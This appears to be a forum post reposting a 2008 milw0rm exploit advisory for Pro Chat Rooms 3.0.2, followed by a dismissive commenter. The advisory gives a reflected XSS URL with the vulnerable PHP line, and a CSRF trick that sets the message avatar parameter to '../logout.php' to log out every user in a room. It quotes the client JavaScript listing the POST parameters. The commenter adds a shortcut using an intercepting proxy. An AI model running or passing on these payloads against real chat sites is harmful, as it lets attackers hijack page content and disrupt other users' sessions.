there is an exploit (which i found long ago) http://milw0rm.com/exploits/7409
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Pro Chat Rooms Version 3.0.2 (XSS/CSRF) Vulnerabilties
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## AUTHOR : ZynbER
## MAiL : ZynbER[at]Gmail[dot]com
## HOME : NoWhere
## Script WebSite : http://www.prochatrooms.com
## Version : Pro Chat Rooms Version 3.0.2
## EXPLOITS :
-==XSS==-
http://www.yoursite.com/[path]/profiles/index.php?gud=XSSED
Vulnerable code in "/profiles/index.php"
<b><?php echo C_PRO2;?>: <?php echo $_GET['gud'];?></b>
-==CSRF==-
When a user sends a message in public room or in pm to onther user ; there is a parameter
to set an avatar (ex:"image.gif"); we will exploit this param to run a CSRF when user get our message
The JS sending function; here u can see all params needed to POST a message to user/room
//Add a message to the chat server.
function sendChatText() {
if(!document.getElementById('txt_message').value) {
alert("You have not entered a message ");
return;
}
if(document.getElementById('whisper').value.toLowerCase() == document.getElementById('thisuser').value.toLowerCase()) {
alert("You cannot whisper to yourself! ");
return;
}
if (sendReq.readyState == 4 || sendReq.readyState == 0) {
sendReq.open("POST", 'sendData.php?chat=1&last=' + lastMessage + '&room=' + room, true);
sendReq.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
sendReq.onreadystatechange = handleSendChat;
var param = 'message=' + document.getElementById('txt_message').value;
param += '&name=' + chat_user;
param += '&nid=' + chat_userid;
param += '&chat=1';
param += '&room=' + room;
param += '&whisper=' + document.getElementById('whisper').value;
param += '&fontface=' + document.getElementById('font_face').value;
param += '&fontcolor=' + document.getElementById('font_color').value;
param += '&fontheight=' + document.getElementById('font_height').value;
param += '&fontstyle=' + document.getElementById('font_style').value;
param += '&avatar=' + document.getElementById('user_avatar').value;
sendReq.send(param);
document.getElementById('txt_message').value = '';
}
}
Exploit Example:
default ==> http://www.yoursite.com/[path]/Avatars/online.gif
Your mallecious CSRF param; avatar=../logout.php ==> New avatar path http://www.yoursite.com/[path]/logout.php
in this example the user will logout when he recieves ur message; in a public room all users will
be loged out from the room ;)
## Note:
This infos are for educational purpose only;
I'm not responsable for any damage caused...
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-=== Marequin est fière de l'être ===-
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Pro Chat Rooms Version 3.0.2 (XSS/CSRF) Vulnerabilties
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# milw0rm.com [2008-12-10]
why all this CONFUSING crap and shit ?
its easy as 1 2 3. all you do, is get and open webscarab and intercept a send packet, then you replace avatar.gif (or whatever your avatar is) with "../logout.php"
but that retard who put this up, mumbles and bumbles something about some damn parameters needed to send and shit like this.
why make it so confusing ? ..bah so retarded if you ask me.